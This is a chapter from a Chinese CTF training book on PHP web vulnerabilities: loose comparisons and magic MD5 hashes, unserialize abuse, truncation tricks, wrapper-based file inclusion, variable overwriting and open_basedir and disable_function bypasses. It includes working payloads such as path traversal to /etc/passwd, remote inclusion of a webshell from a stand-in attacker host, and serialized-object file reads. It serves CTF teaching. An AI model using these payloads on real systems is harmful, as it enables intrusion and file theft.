5.1 PHP语言特性
PHP作为“世界上最好的语言”,其应用场景相当广泛,同时也是CTF的Web题目中出现次数非常多的一门语言。
5.1.1 弱类型
首先,我们需要知道PHP语言中一些相等的值,如:
» '' == 0 == false » '123' == 123 » 'abc' == 0 » '123a' == 123 » '0x01' == 1 » '0e123456789' == '0e987654321' » [false] == [0] == [NULL] == [''] » NULL == false == 0 » true == 1
在PHP语言中,比较两个值是否相等可以用“==”和“===”两种符号。前者会在比较的时候自动进行类型转换而不改变原来的值,所以存在漏洞的位置所用的往往是“==”。其中一个常见的错误用法就是:
if($input == 1){ 敏感逻辑操作; }
这个时候,如果input变量的值为1abc,则比较的时候1abc会被转换为1,if语句的条件满足,进而造成其他的漏洞。另一个常见的场景是在运用函数的时候,参数和返回值经过了类型转换造成漏洞。下面我们再来看一道真题:
if($_GET['a']!=$_GET['b'] && md5($_GET['a'])==md5($_GET['b'])){ echo $flag; }
如何才能满足这样一个if判断条件呢?需要使两个变量值不相等而MD5值相等。这样的思路可以通过MD5碰撞来解决(https://goo.gl/KV5ZQn)。让我们的思路回到PHP语言,MD5函数的返回值是一个32位的字符串,如果这个字符串以“0e”开头的话,类型转换机制会将它识别为一个科学计数法表示的数字“0”。下面给出两个MD5以0e开头的字符串:
'aabg7XSs'=>'0e087386482136013740957780965295' 'aabC9RqS'=>'0e041022518165728065344349536299'
提交这两个字符串即可绕过判断。然后我们再来看一下上面示例题目的2.0版:
if($_GET['a']!=$_GET['b'] && md5($_GET['a'])===md5($_GET['b'])){ echo $flag; }
当我们将“==”更换为“===”之后(如上方的代码),刚才的两个字符串就不能成功了。但是,我们仍然可以继续利用PHP语言函数错误处理上的特性,在URL栏提交a[]=1&b[]=2成功绕过。因为当我们令MD5函数的参数为一个数组的时候,函数会报错并返回NULL值。虽然函数的参数是两个不同的数组,但函数的返回值是相同的NULL,在这里就是利用这一点巧妙地绕过了判断。
同样在程序返回值中容易判断错误的函数还有很多,如strpos,见PHP手册:
(PHP 4, PHP 5, PHP 7) strpos -- 查找字符串首次出现的位置 if(strpos($str1,$str2)==false){ //当str1中不包含str2的时候 敏感逻辑操作; }
这也是一种经常能见到的写法,当str1在str2开头时,函数的返回值是0,而0==false是成立的,这就会造成开发者逻辑之外的结果。
5.1.2 反序列化漏洞
PHP提供serialize和unserialize函数将任意类型的数据转换成string类型或者从string类型还原成任意类型。当unserialize函数的参数被用户控制的时候就会形成反序列化漏洞。
与之相关的是PHP语法中的类,PHP的类中可能会包含一些特殊的函数,名为magic函数,magic函数的命名方式是以符号“__”开头的,比如__construct、__destruct、__toString、__sleep、__wakeup等。这些函数在某些情况下会被自动调用。
为了更好地理解magic函数是如何工作的,我们可以自行创建一个PHP文件,并在当中增加三个magic函数:__construct、__destruct和__toString,图5-1为测试代码和执行结果。
图5-1 magic函数调用示例
可以看出,__construct在对象创建时被调用,__destruct在PHP脚本结束时被调用,__toString在对象被当作一个字符串使用时被调用。如果我们在反序列化的时候加入一个类,并控制类中的变量值,那么结合具体的代码就能够执行magic函数里的危险逻辑了。如NJCTF 2017出过的一道题目,源码如下:
<?php $lists = []; Class filelist{ public function __toString() { return highlight_file('hiehiehie.txt', true).highlight_file($this->source, true); } } //..... ?>
页面的功能是将从cookie中反序列化过后的对象打印出来,这样__toString()函数就会在打印的时候被调用。在本地生成filelist对象的时候,可以将source变量的值设置为想要读取的文件名,序列化后再提交即可。生成序列化字符串的代码如下:
<?php Class filelist{ public function __toString() { return highlight_file('hiehiehie.txt', true).highlight_file($this->source, true); } } $f=new filelist(); $f->source="/etc/passwd"; print_r(serialize($f));
将打印出来的字符串作为参数提交,即可读取/etc/passwd文件。
如果代码量复杂,使用了大量的类,往往需要构造ROP链来进行利用,可以参考phithon对joomla漏洞的分析,链接地址为:https://www.leavesongs.com/PENETRATION/joomla-unserialize-code-execute-vulnerability.html。
5.1.3 截断
NULL字符截断是最有名的截断漏洞之一,其原理是,PHP内核是由C语言实现的,因此使用了C语言中的一些字符串处理函数,在遇到NULL(\x00)字符的时候,处理函数就会将它当作结束标记。这个漏洞能够帮助我们去掉变量结尾处不想要的字符,代码如下:
<?php $file = $_GET['file']; include $file.'.tpl.html';
按照正常的程序逻辑来说,这段代码并不能直接包含任意文件。但是在NULL字符的帮助下,我们只需要提交:
?file=../../../etc/passwd%00
即可读取到passwd文件,与之类似的是利用路径的长度绕过。比如:
?file=../../../////////{*N}/etc/passwd
系统在处理过长的路径时会选择主动截断它。不过这两个漏洞已经随着PHP版本的更新而消逝了,真正遇到这种情况的机会已经越来越少。
另一个能造成截断的情况是不正确地使用iconv函数:
<?php $file = $_GET['file'].'.tpl.html'; include(iconv("UTF-8", "gb2312", $file));
在遇到file变量中包含非法utf-8字符的时候,iconv函数就会截断这个字符串。
在这个场景之中,我们只需提交“?file=shell.jpg%ff”即可,因为在utf-8字符集中单个“\x80-\xff”都是非法的。这个漏洞只在Windows系统中存在,在新版本的PHP中也已经得到修复。
5.1.4 伪协议
截断漏洞在新版本的PHP中往往难以奏效,不过在上一部分的两个例子中,我们还能通过伪协议去绕过。但这种情况只适用于我们能控制include指令参数的前半部分的时候。如果在php.ini的设置中让allow_url_include=1,即允许远程包含的时候,我们可以令参数为:
?file=http://attacker.com/shell.jpg
这样,PHP服务会从攻击者的服务器上取得shell.jpg并包含。如果我们能上传自定义图片的话,那么我们可以将webshell改名为shell.php并压缩成zip上传,然后再利用zip协议包含:
?file=zip://uploads/random.jpg%23shell.php
这样即可包含到shell。与zip协议效果相同的还有phar协议。
除此之外,我们还能通过伪协议读取到部分文件。在上面的例子中,如果服务器上有一个index.php,那么我们可以令参数为:
php://filter/convert.base64-encode/resource=index.php
然后,就能在页面中得到index.php文件源码base64编码后的字符串了。
5.1.5 变量覆盖
变量覆盖漏洞通常是使用外来参数替换或初始化程序中原有变量的值,在CTF比赛中一般要配合题目的代码逻辑或其他漏洞来进行攻击。本节将会为大家介绍3种可以导致变量覆盖漏洞的情形。
(1)函数使用不当
a)extract函数
考虑如下代码:
<?php $auth = false; extract($_GET); if ($auth) { echo "flag{...}"; } else { echo "Access Denied."; } ?>
此处的extract函数将GET传入的数据转换为变量名和变量的值,所以这里构造如下Payload即可将$auth的值变为true并获得flag:
?auth=1
b)parse_str函数
考虑如下代码:
<?php $auth = false; parse_str($_SERVER['QUERY_STRING']); if ($auth) { echo "flag{...}"; } else { echo "Access Denied."; } ?>
此处的parse_str函数同样也是将GET传入的字符串解析为变量,所以Payload与上方extract函数的Payload一样。
c)import_request_variables函数
考虑如下代码:
<?php $auth = false; import_request_variables('G'); if ($auth) { echo "flag{...}"; } else { echo "Access Denied."; } ?>
此处,import_request_variables函数的值由G、P、C三个字母组合而成,G代表GET,P代表POST,C代表Cookies。排在前面的字符会覆盖排在后面的字符传入参数的值,如,参数为“GP”,且GET和POST同时传入了auth参数,则POST传入的auth会被忽略。
需要注意的是,这个函数自PHP 5.4起就被移除了,如果需要测试上方的代码请安装版本号大于等于4.1小于5.4的PHP环境。
(2)配置不当
在PHP版本号小于5.4的时候,还存在配置问题导致的全局变量覆盖漏洞。当PHP配置register_globals=ON时便可能出现该漏洞,考虑如下代码:
<?php if ($auth) { echo "flag{...}"; } else { echo "Access Denied."; } ?>
利用register_globals的特性,用户传入参数auth=1即可进入if语句块。需要注意的是,如果在if语句前初始化$auth变量,则不会触发这个漏洞。
(3)代码逻辑漏洞
在讲述代码逻辑漏洞导致的变量覆盖之前,需要大家先来了解一个知识点,就是PHP中的$$(可变变量)。可变变量可以让一个普通变量的值作为这个可变变量的变量名,读起来有些拗口,如果不能理解,可以参考下面的代码:
<?php $foo="hello"; //赋值普通变量 $$foo="world"; //使用foo变量的值作为可变变量的变量名 echo "$foo ${$foo}"; //输出:hello world echo "$foo $hello"; //等同于上面的语句,同样输出hello world ?>
在新版本PHP移除了前面提到的import_request_variables函数和register_globals选项之后,有些开发者选择使用foreach遍历数组(如,$_GET、$_POST等)来注册变量,这样也会存在变量覆盖漏洞的情况。考虑如下代码:
<?php $auth = false; foreach($_GET as $key => $value){ $$key = $value; } if ($auth) { echo "flag{...}"; } else { echo "Access Denied."; } ?>
此处的foreach循环就将GET传入的参数注册为变量,所以与前面一样,传入“?auth=1”即可绕过判断获得flag。
5.1.6 防护绕过
这里主要讲两个经常遇到的防护手段,分别是open_basedir和disable_function。
open_basedir是PHP设置中为了防御PHP跨目录进行文件(目录)读写的方法,所有PHP中有关文件读、写的函数都会经过open_basedir的检查。
其常见的绕过方法有DirectoryIterator+Glob,在目前最新版(v7.2.10)的PHP中,官方并没有修复这个问题,下面附上简单的测试代码(来自phithon):
<?php printf('<b>open_basedir: %s</b><br />',ini_get('open_basedir')); $file_list = array(); // normal files $it = new DirectoryIterator("glob:///*"); foreach($it as $f) { $file_list[] = $f->__toString(); } // special files (starting with a dot(.)) $it = new DirectoryIterator("glob:///.*"); foreach($it as $f) { $file_list[] = $f->__toString(); } sort($file_list); foreach($file_list as $f){ echo "{$f}<br/>"; } ?>
为了防止PHP代码存在漏洞导致操作系统沦陷,很多管理员用disable_function来禁掉一些危险的函数,如system、exec、shell_exec、passthru等,以防止攻击者执行系统命令。
disable_function的绕过方式很灵活,通常依赖于系统层面的漏洞,比如利用shellshock、imagemagick等组件的漏洞进行绕过操作,或者依赖于系统环境,利用环境变量LD_PRELOAD等漏洞进行绕过操作。如果权限足够,还可以尝试使用PHP调用数据库UDF的方法来执行命令。